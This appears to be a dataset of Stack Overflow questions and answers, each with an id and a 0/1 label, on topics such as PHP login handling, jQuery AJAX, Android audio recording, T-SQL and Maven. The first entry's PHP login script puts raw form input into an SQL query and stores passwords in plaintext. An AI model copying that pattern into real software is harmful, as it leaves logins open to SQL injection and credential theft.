15776809	0	Can I display an "incorrect password" message in a previous signin.html page after i have already moved to a logincheck.php page <p>my signin.html is just a common html page with username and password fields..nd a sign in button ..and i just want to display all those error messages under echo in the previous signin.html page.The code for logincheck.php is as followed:</p> <pre><code>&lt;?php session_start(); $username = $_POST['username']; $password = $_POST['password']; if($username &amp;&amp; $password) { $connect = mysql_connect("localhost","root","") or die("Couldn't connect!"); mysql_select_db("project") or die("Couldn't find db"); $query= mysql_query("SELECT * From signup1 WHERE username='$username'"); $numrows = mysql_num_rows($query); if ($numrows!=0) { //code to login while ($row = mysql_fetch_assoc($query)) { $dbusername = $row['username']; $dbpassword = $row['password']; } if($username==$dbusername&amp;&amp;$password==$dbpassword) { $_SESSION['username']=$username; header('Location:mailbox.php'); } else echo "Incorrect password!"; } else die("That user does't exist!"); } else die("Please enter username and Password!"); if($_SESSION['username']) echo "Welcome, " .$_SESSION['username']."!&lt;br&gt;&lt;a href='logout.php'&gt;Logout&lt;/a&gt;&lt;br&gt; "; else die ("You must be logged in!"); ?&gt; </code></pre>
11086498	0	 <p>You need to export the variable before running g++:</p> <pre><code>export CPLUS_INCLUDE_PATH </code></pre>
26838058	0	 <p>Ok, this looks like some loading order / mixing different version or dependency - issue(s). <br/> However, as it turned out it is the version of angular (1.1.3) that don't play nice with this version of bootstrap. <br/>So first, <a href="http://plnkr.co/edit/0Wt4LiQvBfPNXwpZBdtw?p=preview" rel="nofollow">Here</a> is a working version of your code (the main part), with angular 1.2.25. <br/> I've also included on the index.html, version 1.1.3 of angular (currently marked out). If you replace the two version, the error reproduces:</p> <pre><code>&lt;!-- &lt;script src="https://code.angularjs.org/1.1.3/angular.min.js"&gt;&lt;/script&gt; --&gt; </code></pre> <p>Regardless specific errors, I strongly recommend upgrading angular to version 1.3 (or 1.2.25 incase IE8 support is a must). It is by far faster, includes much more cool features and leverages many EMCA5 and HTML5 / CSS3 Capabilities.<br/> Can't upgrade? Well it is debugging time... No you know what is wrong, "just" have to find why.<br/> Good Luck!</p>
2690919	0	Can I add Controls that are not ListItems to a RadioButtonList? <p>I need to provide a way to allow users to select 1 Subject, but the subjects are grouped into Qualifications and so I want to show a heading for each 'group'. My first thought is an asp:RadioButtonList as that provides a list of options from which <strong>only one</strong> can be selected but there's no means to add break the list up with headings. </p> <p>So I tried the following code - but I can't see that the LiteralControl is being added, which makes me think it's not a valid approach.</p> <pre><code>For Each item As Subject In Qualifications If item.QualCode &lt;&gt; previousQualCode Then rblSelection.Controls.Add(New LiteralControl(item.QualName)) End If rblSelection.Items.Add(New ListItem(item.SubjectName, item.SelectionCode)) previousQualCode = item.QualCode Next </code></pre>
28197925	1	Tkinter Mac Checkbutton Deselect Animation Glitch <p>I'm using Tkinter on my Mac. Whenever I have a Checkbutton or a Radiobutton, the animation when I deselect it glitches. For instance, a checkbutton that is checked, onclick, will deselect for a fraction of a second, select for a second, then deselect - has anyone come across this issue and if so, is it fixable?</p> <pre><code>from Tkinter import * root = Tk() Checkbutton1 = Checkbutton(root).pack() root.mainloop() </code></pre>
18829024	0	Passing object by using ViewDataDictionary instance? <p>I got one small doubt,that is the following method adds object to ViewData Model property. </p> <pre><code> public ActionResult StronglyTypedView() { var obj = new MvcRouting.Models.Student(); obj.age = 24; obj.name = "prab"; ViewData.Model = obj; return View(); } </code></pre> <p><code>ViewData property</code> return type in <code>ViewDataDictionary</code>.So i created instance of <code>ViewDataDictionary</code> and assigned object to <code>Model</code> property.But its not working,how to solve this?</p> <pre><code>public ActionResult StronglyTypedView() { var obj = new MvcRouting.Models.Student(); obj.age = 24; obj.name = "prab"; var DicObj = new ViewDataDictionary(); DicObj.Model = obj; return View(); } </code></pre>
26934622	0	 <p>ui-router has a <a href="https://github.com/angular-ui/ui-router/wiki" rel="nofollow"><code>resolve</code></a> method that you can use in your routes.<br/> The <a href="https://github.com/angular-ui/ui-router/wiki" rel="nofollow"><code>resolve</code></a> will tell the routing to wait and resolve something before it moves to the new route.</p> <p>Here are some examples(Your problem is similar to authentication):</p> <ul> <li><a href="http://stackoverflow.com/questions/22537311/angular-ui-router-login-authentication">angular ui-router login authentication</a></li> <li><a href="https://gist.github.com/leon/6550951" rel="nofollow">https://gist.github.com/leon/6550951</a></li> </ul>
3554469	0	 <p>Gartner estimates 160 lines of code converted per man day for roughly similar languages. That plus the size of your code base gives you a rough estimate, if you assume the ColdFusion is "like" C# (e.g., all the Coldfusion constructs translate easily, which probably isn't the case; then the conversion rate goes down).</p> <p>See also discussion at <a href="http://stackoverflow.com/questions/2830612/things-to-keep-in-mind-during-application-migration-coldfusion-to-spring/2830712#2830712">Things to keep in mind during Application Migration: ColdFusion to Spring</a></p> <p>Our web page on <a href="http://www.semanticdesigns.com/Products/Services/LegacyMigration.html" rel="nofollow noreferrer">migration</a> provides more details including discussion of pitfalls and alternatives. </p>
2589954	0	Empty PHP variables <p>Is there a better way besides <code>isset()</code> or <code>empty()</code> to test for an empty variable?</p>
12685885	0	InnoDB frequently updated table running slow <p>I have a very simple table to track users activity. It's structure is as following:</p> <pre><code>userId appId lastActivity PRIMARY(userId, appId) </code></pre> <p>Table allows to track, if user is active within a specific application. It's updated once a minute for each user and read as frequently to count number of users online within a specific application.</p> <p>Lately I've noticed, that updates took a while to perform:</p> <pre><code>2012-10-01 16:49:10 - WARN --&gt; Heavy query; array ( 'caller' =&gt; 'updateActivity', 'query' =&gt; 'INSERT INTO user_activity VALUES(4953, 1, 1349095750) ON DUPLICATE KEY UPDATE lastActivity = 1349095750', 'elapsed' =&gt; 0.134618, ) 2012-10-01 18:26:06 - WARN --&gt; Heavy query; array ( 'caller' =&gt; 'updateActivity', 'query' =&gt; 'INSERT INTO user_activity VALUES(4533, 1, 1349101566) ON DUPLICATE KEY UPDATE lastActivity = 1349101566', 'elapsed' =&gt; 0.581776, ) 2012-10-01 18:27:16 - WARN --&gt; Heavy query; array ( 'caller' =&gt; 'updateActivity', 'query' =&gt; 'INSERT INTO user_activity VALUES(5590, 1, 1349101636) ON DUPLICATE KEY UPDATE lastActivity = 1349101636', 'elapsed' =&gt; 0.351321, ) 2012-10-01 20:54:32 - WARN --&gt; Heavy query; array ( 'caller' =&gt; 'updateActivity', 'query' =&gt; 'INSERT INTO user_activity VALUES(3726, 1, 1349110472) ON DUPLICATE KEY UPDATE lastActivity = 1349110472', 'elapsed' =&gt; 0.758706, ) </code></pre> <p>Table uses InnoDB as storage engine.</p> <p><strong>My questions</strong></p> <ol> <li><p>Is there any problem at all?</p></li> <li><p>Is there any problem in my design?</p></li> <li><p>Where to start to find performace problems in this specific situation?</p></li> </ol>
6546606	0	XJC non-transient non-serializable instance field data <p>After generating java classes I received:</p> <pre><code>public class myClass { @XmlElement(name = "Data", required = true) @XmlSchemaType(name = "date") protected XMLGregorianCalendar data; @XmlElement(name = "Time", required = true) protected XMLGregorianCalendar time; ......... </code></pre> <p>FindBugs warns that myClass defines non-transient non-serializable instance field data. Is it warning acceptable or need to fix? Thanks.</p>
2802948	0	How to make an AJAX call immediately on document loading <p>I want to execute an ajax call as soon as a document is loaded. What I am doing is loading a string that contains data that I will use for an autocomplete feature. This is what I have done, but it is not calling the servlet. </p> <p>I have removed the calls to the various JS scripts to make it clearer. I have done several similar AJAX calls in my code but usually triggered by a click event, I am not sure what the syntax for doing it as soon as the document loads, but I thought this would be it (but it's not):</p> <pre><code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt; &lt;html&gt; &lt;head&gt; &lt;script src="../js/jquery.js" type="text/javascript"&gt; &lt;/script&gt; &lt;link rel="stylesheet" href="../css/styles.css" type="text/css"&gt; &lt;link rel="stylesheet" href="../css/jquery.autocomplete.css" type="text/css"&gt; &lt;script type="text/javascript" src="../js/jquery.bgiframe.min.js"&gt; &lt;/script&gt; &lt;script type="text/javascript" src="../js/jquery.dimensions.js"&gt; &lt;/script&gt; &lt;script type="text/javascript" src="../js/jquery.autocomplete.js"&gt; &lt;/script&gt; &lt;script type="text/javascript"&gt; $(document).ready(function(){ $.ajax({ type: "GET", url: "AutoComplete", dataType: 'json', data: queryString, success: function(data) { var dataArray = data; alert(dataArray); } }); $("#example").autocomplete(dataArray); }); &lt;/script&gt; &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body&gt; API Reference: &lt;form&gt;&lt;input id="example"&gt; (try "C" or "E")&lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p><b>EDIT:</b> my code now looks more like Karim's:</p> <pre><code>$(document).ready(function(){ $.ajax({ type: "GET", url: "../AutoComplete", success: function(data) { $("#example").autocomplete(data); } }); }); </code></pre> <p>Nonetheless the autocomplete still doesn't work (admittedly another question altogether, so I will also post another question so it has an appropriate title).</p> <p>My variable "data" that is being sent back looks like ... "Manuscript|Text|Information Object|Basketball|Ball|Sporting Equipment|Tarantula".split("|");</p> <p>If I do </p> <pre><code>var dataArray = "Manuscript|Text|Information Object|Basketball|Ball|Sporting Equipment|Tarantula".split("|"); </code></pre> <p>and then</p> <pre><code>$("#example").autocomplete(dataArray); </code></pre> <p>It all works fine, but when I get the value of dataArray from the server it doesn't.</p>
17693635	0	Tie Object's visibility to another object's visibility <p>I'm looking for a way to do what the title says. For example there are two DOM-elements a and b, where a is visible when b is visible and hidden, when b is hidden.</p> <p>Is there a way to do this with jquery?</p> <p>Thanks in advance!</p> <p><strong>Since there seem to be some misunderstandings of what I'm looking for, here is a better description</strong></p> <p>Imagine a website with a variety of DOM-elements. On the left and on the right site are a black and a red dot. The visibility of the black dot is changed via a button-click-callback. In my case, I have no access to this function, so I can't just add <code>$('#red_dot').hide()</code> to it. In this scenario I need to find a way to have the red dot show, when the black dot is shown and hide as soon as the black dot is hidden.</p>
10606234	0	Subversion on Perforce Projects <p>I have a project that's currently in a Perforce repository. Unfortunately, due to some testing restrictions, I have a test machine (private build of something that resembles linux) that, for whatever reason, does not run Perforce, but is able to run subversion. Is it possible, or a good idea, to load everything into subversion while it is still tied into Perforce?</p> <p>This is a VS2010 project, and I know that VS2010 will see the source control bindings that Perforce has. Will putting this into subversion screw this up?</p> <p>Yes I know for testing all I have to do is copy the compiled build, however we are also looking at making changes on the fly, so we do want to do some code editing on the target machine as well.</p>
28659697	0	performance on mantle, dx and ogl <p>So recently with all the commotion on the new API for 3d graphics which supposedly accelerate graphics by a huge amount I am wondering why this hasn't been done before. What is so different between the old way and the new way?</p> <p>I would like to know how it is achieved and maybe even an overview how it works from the gpu to the driver to the API of DX or OGL.</p>
28747823	0	 <p>A comparison of the M2M protocols based on characteristics, like any other comparisons, should be made in a certain context. In this case, the context refers to the domain or the application domain you are using for building the comparison. </p> <p>An application for a certain domain usually has a set of requirements that need to be met. Building a list of common requirements is a sensible thing to do. Not only it will improve the structure of the article, but it will also offer the possibility to expand/improve the article as new requirements are being discovered. By analysing these requirements you can find some fine-grained criteria that you can choose to discuss.</p> <p><strong>Functional requirements</strong></p> <ol> <li>Interoperability</li> <li>Interface for: device - gateway, device - network application server, device - device</li> <li>Protocol load: information volume, connectionless/connection- oriented</li> <li>Routing capability</li> <li>IP based/non IP based</li> <li>Communication patterns</li> <li>Resource discovery</li> <li>Resource management</li> <li>Stateful/Stateless</li> </ol> <p><strong>Non-functional requirements</strong></p> <ol> <li>Scalability</li> <li>Security</li> <li>Privacy</li> <li>Lightweight</li> <li>Real-time</li> <li>Expandability</li> <li>Usability</li> <li>Openness</li> <li>Reliability</li> </ol>
22010093	0	How do I install the JMF 2.1.1e [2014] <p>So I Downloaded JMF from here:<a href="http://www.oracle.com/technetwork/java/javase/download-142937.html" rel="nofollow">http://www.oracle.com/technetwork/java/javase/download-142937.html</a> installed it(There was only an installation wizard version).</p> <p>Then what am I meant to do? java had no docs on it the documentation that came with the download just said in a nutshell run the wizard.</p> <p>Is it just meant to work like some kind of magical java package? I launched eclipses to see If I could use the javax.media.*; package but nope it still does not exist.</p> <p>I have read many threads on this but they are from 2013 and don't really help.. As I am sure it was different then.</p> <p>Is eclipse missing something.. Is anyone able to import the JMF packages in eclipse?</p> <p>Tell me its not just a myth and infact one can use the new JMF in eclipse.</p> <p>Where should the packadge be installed it once again siad nothing in the documentation about if it should go in a jre bin or jdk bin...</p> <p>I feel like the underpants gnomes from south park. RunWizard --> ? --> Profit. Like I am missing something important but I cant find that peice of information anywhere.</p>
17021057	0	Char equivalent for Tabstop <p>I want to split a string with Tabstops. What is the correct char[] equivalent for usage with </p> <pre><code>Split.(char[] x, int i) </code></pre>
38593222	0	Create Custom grid css depending on Array Length <p>I have array with data <code>[1,2,3,4,5,6,7]</code> and I want to show 2 items on 1 line</p> <pre><code>&lt;div class=row&gt; &lt;div&gt;data1&lt;/div&gt; &lt;div&gt;data2&lt;/div&gt; &lt;/div&gt; &lt;div class=row&gt; &lt;div&gt;data3&lt;/div&gt; ... </code></pre> <p>So I want do it with JS. As I understand I need smth like <code>[[1,2],[3,4],[5,6],[7]]</code>, but cant understand how to make it. It'll be great if someone did it before and can help me.</p>
12656879	0	 <p>I did the same as in this <a href="http://stackoverflow.com/a/6401135/262462">http://stackoverflow.com/a/6401135/262462</a> but edited this part</p> <pre><code>function save($filename, $image_type=IMAGETYPE_JPEG, $compression=75, $permissions=null) { // do this or they'll all go to jpeg $image_type=$this-&gt;image_type; </code></pre> <p>to this</p> <pre><code>function save($filename, $image_type="original", $compression=75, $permissions=null) { if ($image_type=="original") $image_type=$this-&gt;image_type; </code></pre>
7230479	0	Convert header of email to another encoding in ActionMailer in Ruby <p>I have a website written on ruby 1.8.5 and rails 1.2.6. </p> <p>There is a feedback page.</p> <p>So.</p> <p>i've got a model class:</p> <pre><code>class Feedback::Notify &lt; ActionMailer::Base def answer_for_managers(question) recipients test@test.com from "feedback@test.com" subject "Обратная связь: ответ на вопрос" body "question" =&gt; question content_type "text/html" end end </code></pre> <p>Then i have a controller:</p> <pre><code>class Feedback::QuestionController &lt; Office::BaseController def update Feedback::Notify.deliver_answer_for_managers(@question) end end </code></pre> <p>The problem is when a message is sent its subject looks like: =?utf-8?Q?=d0=9e=d0=b1=d1=80=d0=b0=d1=82=d0=bd=d0=b0=d1=8f_=d1=81=d0=b2=d1=8f=d0=b7=d1=8c=3a_=d0=a1=d0=be=d1=82=d1=80=d1=83=d0=b4=d0=bd=d0=b8=d0=ba_=d0=be=d1=82=d0=b2=d0=b5=d1=82=d0=b8=d0=bb_=d0=bd=d0=b0_=d0=b2=d0=be=d0=bf=d1=80=d0=be=d1=81_=d0=ba=d0=bb=d0=b8=d0=b5=d0=bd=d1=82=d0=b0_=23=35=36_=d0=be=d1=82_=32=36=2e=30=38=2e=32=30=31=31_=31=31=3a=33=33?=</p> <p>so it's url-encoded.</p> <p>Is there any way to prevent converting subject text to url-encoding? All files are in UTF8 encoding</p>
30859614	0	 <blockquote> <p>I want to start web-service but without web-server</p> </blockquote> <p>If it is just a plain HTML without back-end but not a web-service, then you can create a shared folder and open it as a file from your network. HTML and front-end JS scripts will work well. However, the link will be like:</p> <pre><code>file:\\COMPUTER-001\Camera\CameraCapture.html </code></pre> <p>If it is ok for you, then you can easily do this without web-server. </p> <p>You surely cannot make it work this way without any HTTP-server:</p> <p><a href="http://COMPUTER-001/CameraCapture.html" rel="nofollow">http://COMPUTER-001/CameraCapture.html</a></p> <p>Is it worth it?<br> Install a simple web-server, you even won't need to configure it if a single HTML file is everything you need.</p>
5458039	0	 <p>I think this line is the problem:</p> <pre><code>&lt;td align="left" valign="top"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;img alt="" id="asd" onclick="" style="cursor: pointer" src="" /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;/td&gt; </code></pre> <p>Remove the span end tag that is not open.</p> <pre><code>&lt;td align="left" valign="top"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;img alt="" id="asd" style="cursor: pointer" src="" /&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;/td&gt; </code></pre>
3025612	0	 <p>I upgraded my cygwin installation at home and ran into a similar problem (though maybe not the exact same problem -- the perl debugger still responds to my input but does not display my input, and fubars my input even after I quit the debugger). In the meantime while I figure what is going on, my workaround is to fire up xemacs, launch a shell (<code>M-x shell</code>), and run the perl debugger from the emacs buffer.</p> <p>If this works for you, then there is something funky going on with your cygwin terminal settings. If your debugger hangs even in an emacs buffer, then something else funky is going on but I have no idea what it could be.</p>
22532945	0	 <p>elaborating on my comment, the only way the solver learns what the constraints are is by going 'out of bounds' , so you should very much expect out of bounds values and handle them gracefully.</p> <p>A typical way to do this is:</p> <pre><code>G(1) = X(1) * x(2) - x(3) ** 2 if(g(1).gt.0)then f=log(g(1)) else f=-10.e30 endif </code></pre> <p>It may not matter what you return in the out of bounds case but check the docs for the imsl routine to see if it says something about that.</p> <p>just by the way, note since you hard coded <code>active(1)=.true.</code> there is no need for the <code>if(active(1))..</code> construct.</p>
18362097	0	 <p>I think you're trying to construct an array consisting of the names of all zero-length files and directories in <code>$DIR</code>. If so, you can do it like this:</p> <pre><code>mapfile -t ZERO_LENGTH &lt; &lt;(find "$DIR" -maxdepth 1 -size 0) </code></pre> <p>(Add <code>-type f</code> to the find command if you're only interested in regular files.)</p> <p>This sort of solution is almost always better than trying to parse <code>ls</code> output.</p> <p>The use of process substitution (<code>&lt; &lt;(...)</code>) rather than piping (<code>... |</code>) is important, because it means that the shell variable will be set in the current shell, not in an ephimeral subshell.</p>
6787059	0	 <p>Click on the small triangle in the upper right corner of the problems view and select "Configure Contents". In that dialog check "Show all items" and uncheck "Use item limits" to show all warnings.</p>
19489963	0	 <p>You need to define the table the function returns, and insert into it, rather than selecting.</p> <pre><code>CREATE FUNCTION dbo.get_numseq (@max_rows AS BIGINT,@min_rows AS BIGINT) RETURNS @t TABLE (n int) AS begin -- returns up to 4,294,967,296 records ;WITH lv0 AS (SELECT 0 AS g UNION ALL SELECT 0), lv1 AS (SELECT 0 AS g FROM lv0 AS a CROSS JOIN lv0 AS b), lv2 AS (SELECT 0 AS g FROM lv1 AS a CROSS JOIN lv1 AS b), lv3 AS (SELECT 0 AS g FROM lv2 AS a CROSS JOIN lv2 AS b), lv4 AS (SELECT 0 AS g FROM lv3 AS a CROSS JOIN lv3 AS b), lv5 AS (SELECT 0 AS g FROM lv4 AS a CROSS JOIN lv4 AS b), Nums AS (SELECT ROW_NUMBER() OVER (ORDER BY (SELECT NULL)) AS n FROM lv5) insert @t SELECT n FROM Nums where n &gt;= @min_rows and n &lt;= @max_rows ORDER BY n return end </code></pre> <p>See <a href="http://technet.microsoft.com/en-us/library/ms191165(v=sql.105).aspx" rel="nofollow">http://technet.microsoft.com/en-us/library/ms191165(v=sql.105).aspx</a></p>
10001439	0	 <p>If your frequency is not exactly an integer value, then this line:</p> <pre><code>phase = phase - (2 * M_PI * freq); </code></pre> <p>will adjust and rotate the phase by an amount not equal to 2pi, thus producing a discontinuity.</p>
14007443	0	android sdk realtime audio record <p>I use this code to record and play back recorded audio in real time using the <a href="http://developer.android.com/reference/android/media/AudioTrack.html" rel="nofollow">AudioTrack</a> and <a href="http://developer.android.com/reference/android/media/AudioRecord.html" rel="nofollow">AudioRecord</a></p> <pre><code>package com.example.audiotrack; import android.app.Activity; import android.media.AudioFormat; import android.media.AudioManager; import android.media.AudioRecord; import android.media.AudioTrack; import android.media.MediaRecorder; import android.os.Bundle; import android.util.Log; public class MainActivity extends Activity { private int freq = 8000; private AudioRecord audioRecord = null; private Thread Rthread = null; private AudioManager audioManager = null; private AudioTrack audioTrack = null; byte[] buffer = new byte[freq]; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); android.os.Process.setThreadPriority(android.os.Process.THREAD_PRIORITY_URGENT_AUDIO); final int bufferSize = AudioRecord.getMinBufferSize(freq, AudioFormat.CHANNEL_CONFIGURATION_MONO, AudioFormat.ENCODING_PCM_16BIT); audioRecord = new AudioRecord(MediaRecorder.AudioSource.MIC, freq, AudioFormat.CHANNEL_CONFIGURATION_MONO, MediaRecorder.AudioEncoder.AMR_NB, bufferSize); audioTrack = new AudioTrack(AudioManager.ROUTE_HEADSET, freq, AudioFormat.CHANNEL_CONFIGURATION_MONO, MediaRecorder.AudioEncoder.AMR_NB, bufferSize, AudioTrack.MODE_STREAM); audioTrack.setPlaybackRate(freq); final byte[] buffer = new byte[bufferSize]; audioRecord.startRecording(); Log.i("info", "Audio Recording started"); audioTrack.play(); Log.i("info", "Audio Playing started"); Rthread = new Thread(new Runnable() { public void run() { while (true) { try { audioRecord.read(buffer, 0, bufferSize); audioTrack.write(buffer, 0, buffer.length); } catch (Throwable t) { Log.e("Error", "Read write failed"); t.printStackTrace(); } } } }); Rthread.start(); } } </code></pre> <p>My problem : </p> <p>1.the quality of audio is bad</p> <p>2.when I try different frequencies the app crashes</p>
4317501	0	 <p>I am not able to see your images (blocked!) so I'll just try to describe the "correct" design. If a player living in a zone doesn't necessarily mean they own it, you should have four tables: </p> <pre><code>PLAYER (playerid, &lt;other fields&gt;) ZONE (zoneid, &lt;other fields&gt; PLAYER_ZONE(playerid, lives_in_zoneid) ZONE_OWNER (zoneid, owner_playerid) </code></pre> <p>Otherwise three tables would suffice.</p>
11965188	0	 <p>PHP will send a chunked response by default if headers are sent and no <code>Content-Length</code> header was specified. If you're familiar with the HTTP spec, this is the only logical thing to do since the client on the other end needs to know when the HTTP message you're sending ends so it can stop reading.</p> <p>If you want to do this manually, you need to ...</p> <ol> <li>Send the appropriate headers yourself and call <code>flush()</code></li> <li>Manually output the chunked HTTP message</li> </ol> <p>So you might do something like the following. The idea is that you need to manually send your own headers and manually chunk your own message. If you simply don't send a <code>Content-Length</code> header, however, PHP will send a chunked message for you by default.</p> <pre><code>header("Transfer-encoding: chunked"); header("Trailer: X-My-Trailer-Header"); flush(); echo dechex(strlen($myChunk)) . "\r\n"; echo $myChunk; echo "\r\n"; flush(); echo "0\r\n"; flush(); echo "X-My-Trailer-Header: some-value\r\n"; flush(); </code></pre>
27624169	0	 <p>Have you considered using a PerformanceCounter <a href="http://msdn.microsoft.com/en-us/library/system.diagnostics.performancecounter(v=vs.110).aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/system.diagnostics.performancecounter(v=vs.110).aspx</a>? You just count the number of objects created, and the performance counter automatically calculates the average "speed" (I think you mean the rate at which objects are created, or objects per second).</p>
3422989	0	 <p>I can't reproduce the issue. I used the following test class:</p> <pre><code>package com.stackoverflow.q3421918; public class Hello { public static void main( String[] args ) { System.out.println( args[0] + " " + args[1] ); } } </code></pre> <p>And the following pom.xml:</p> <pre><code>&lt;project&gt; &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt; &lt;groupId&gt;com.stackoverflow.q3421918&lt;/groupId&gt; &lt;artifactId&gt;Q3421918&lt;/artifactId&gt; &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt; &lt;!-- this was a test for a workaround --&gt; &lt;properties&gt; &lt;myprop&gt;${langdir}&lt;/myprop&gt; &lt;/properties&gt; &lt;dependencies&gt; &lt;dependency&gt; &lt;groupId&gt;junit&lt;/groupId&gt; &lt;artifactId&gt;junit&lt;/artifactId&gt; &lt;version&gt;3.8.1&lt;/version&gt; &lt;scope&gt;test&lt;/scope&gt; &lt;/dependency&gt; &lt;/dependencies&gt; &lt;build&gt; &lt;plugins&gt; &lt;plugin&gt; &lt;groupId&gt;org.codehaus.mojo&lt;/groupId&gt; &lt;artifactId&gt;exec-maven-plugin&lt;/artifactId&gt; &lt;version&gt;1.2&lt;/version&gt; &lt;executions&gt; &lt;execution&gt; &lt;phase&gt;test&lt;/phase&gt; &lt;goals&gt; &lt;goal&gt;java&lt;/goal&gt; &lt;/goals&gt; &lt;/execution&gt; &lt;/executions&gt; &lt;configuration&gt; &lt;mainClass&gt;com.stackoverflow.q3421918.Hello&lt;/mainClass&gt; &lt;arguments&gt; &lt;argument&gt;${myprop}&lt;/argument&gt; &lt;argument&gt;${langdir}&lt;/argument&gt; &lt;/arguments&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;/plugins&gt; &lt;/build&gt; &lt;/project&gt; </code></pre> <p>And here is the output I get:</p> <pre> $ mvn clean package -Dlangdir=C:/somedir [INFO] Scanning for projects... [INFO] ------------------------------------------------------------------------ [INFO] Building Q3421918 [INFO] task-segment: [clean, package] [INFO] ------------------------------------------------------------------------ ... [INFO] Preparing exec:java [WARNING] Removing: java from forked lifecycle, to prevent recursive invocation. [INFO] No goals needed for project - skipping [INFO] [exec:java {execution: default}] Hello c:/somedir c:/somedir [INFO] ------------------------------------------------------------------------ [INFO] BUILD SUCCESSFUL [INFO] ------------------------------------------------------------------------ ... </pre> <p>Tested with Maven 2.2.1.</p>
31905071	0	 <p>Wasn't sure what you meant by a 'dropdownList'. For this example I used a ComboBox.</p> <pre><code> Dim StartTime As DateTime = #12:00:00 AM# 'load combo box Do StartTimeDDL.Items.Add(StartTime.ToString("hh:mm tt")) StartTime = StartTime.AddMinutes(30) Loop While StartTime.TimeOfDay.TotalDays &gt; 0 Dim selectTime As DateTime = #2:10:12 PM# 'TEST find this &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; 'round time to 30 minutes Dim numSecs As Integer = (CInt(selectTime.TimeOfDay.TotalSeconds) \ 1800) * 1800 'the OP said 'les say current time is 12:00:00 AM than I was to select 12:30 AM" 'so.... numSecs += 1800 'round up 30 minutes ???????? 'create 'find' Dim ts As New TimeSpan(0, 0, numSecs) Dim findDate As New DateTime(ts.Ticks) StartTimeDDL.SelectedIndex = StartTimeDDL.FindStringExact(findDate.ToString("hh:mm tt")) </code></pre>
34865004	0	 <p>If you want to select a Node by default, you can do it by setting the node's <code>selected</code> property to <code>true</code> when you initialise the dataSource. Another option would be to call the TreeView <code>select()</code> method after the TreeView completed the data loading. (See the <a href="http://docs.telerik.com/kendo-ui/api/javascript/ui/treeview#events-dataBound" rel="nofollow">dataBound</a> event for more details since the TreeView initialization may be completed before the data gets fully loaded)</p> <p>For the selection, there's a <a href="http://docs.telerik.com/kendo-ui/api/javascript/ui/treeview#methods-findByUid" rel="nofollow">findByUid</a> method that can be used in the TreeView. The <code>findByUid</code> function will return the jQuery nodes matching the specified <code>uid</code>. You can then use the results to select a node programatically by using the <code>select()</code> method:</p> <pre><code>var dataItem = treeview.dataSource.get(10); var node = treeview.findByUid(dataItem.uid); treeview.select(node); </code></pre>
7127674	0	start file upload upon selection <p>Normally, to upload a file, it would be two-steps process - select a file and then confirm upload. I am working on uploading profile picture. Since profile pic is usually small, I want to reduce mouse-clicks for my users by making the file upload to start upon file selection. Please suggest good, and perhaps common, ways to achieve this (I would also like to learn their pitfalls, if any). Thanks.</p>
3785697	0	NSString range of string at occurrence <p>i'm trying to build a function that will tell me the range of a string at an occurrence.</p> <p>For example if I had the string "hello, hello, hello", I want to know the range of hello at it's, lets say, third occurrence.</p> <p>I've tried building this simple function, but it doesn't work.</p> <p>Note - the top functions were constructed at an earlier date and work fine.</p> <p>Any help appreciated.</p> <pre><code>- (NSString *)stringByTrimmingString:(NSString *)stringToTrim toChar:(NSUInteger)toCharacterIndex { if (toCharacterIndex &gt; [stringToTrim length]) return @""; NSString *devString = [[[NSString alloc] init] autorelease]; for (int i = 0; i &lt;= toCharacterIndex; i++) { devString = [NSString stringWithFormat:@"%@%@", devString, [NSString stringWithFormat:@"%c", [stringToTrim characterAtIndex:(i-1)]]]; } return devString; [devString release]; } - (NSString *)stringByTrimmingString:(NSString *)stringToTrim fromChar:(NSUInteger)fromCharacterIndex { if (fromCharacterIndex &gt; [stringToTrim length]) return @""; NSString *devString = [[[NSString alloc] init] autorelease]; for (int i = (fromCharacterIndex+1); i &lt;= [stringToTrim length]; i++) { devString = [NSString stringWithFormat:@"%@%@", devString, [NSString stringWithFormat:@"%c", [stringToTrim characterAtIndex:(i-1)]]]; } return devString; [devString release]; } - (NSRange)rangeOfString:(NSString *)substring inString:(NSString *)string atOccurence:(int)occurence { NSString *trimmedString = [inString copy]; //We start with the whole string. NSUInteger len, loc, oldLength; len = 0; loc = 0; NSRange tempRange = [string rangeOfString:substring]; len = tempRange.length; loc = tempRange.location; for (int i = 0; i != occurence; i++) { NSUInteger endOfWord = len+loc; trimmedString = [self stringByTrimmingString:trimmedString fromChar:endOfWord]; oldLength += [[self stringByTrimmingString:trimmedString toChar:endOfWord] length]; NSRange tmp = [trimmedString rangeOfString:substring]; len = tmp.length; loc = tmp.location + oldLength; } NSRange returnRange = NSMakeRange(loc, len); return returnRange; } </code></pre>
31946302	0	Background image on Phonegap causes incredible slowness? <p>So after much frustration, I finally pin-pointed the problem. The following causes severe decline in speed in my phonegap app:</p> <pre><code>body.default { background: #000000 url(../img/background.jpg) no-repeat center top fixed; background-size: cover; } </code></pre> <p>The image was 1500 x 1500 pixels and about 350Kb. I optimized it a bit and decreased the dimensions to 1000 x 1000. This resulted in a final size of 106Kb. </p> <p>The problem is, even when I make it smaller like this, it still slows down the app considerably. However if I have this:</p> <pre><code>body.default { background: none; background-size: cover; } </code></pre> <p>Then the speed is nice and fast. So I know the background is causing the slowness.</p> <p>What can I do to still show a good quality as the background, without killing performance?</p> <p><strong>UPDATE</strong></p> <p>I've managed to get an "ok" result if I decrease the image size to 36 kb. Of course, then I loose a lot of the quality, but it has an overlay, so it's not that noticeable. However, I think that it might be background-size: cover, that might be inefficient, but I haven't tested that yet. I will keep trying...</p>
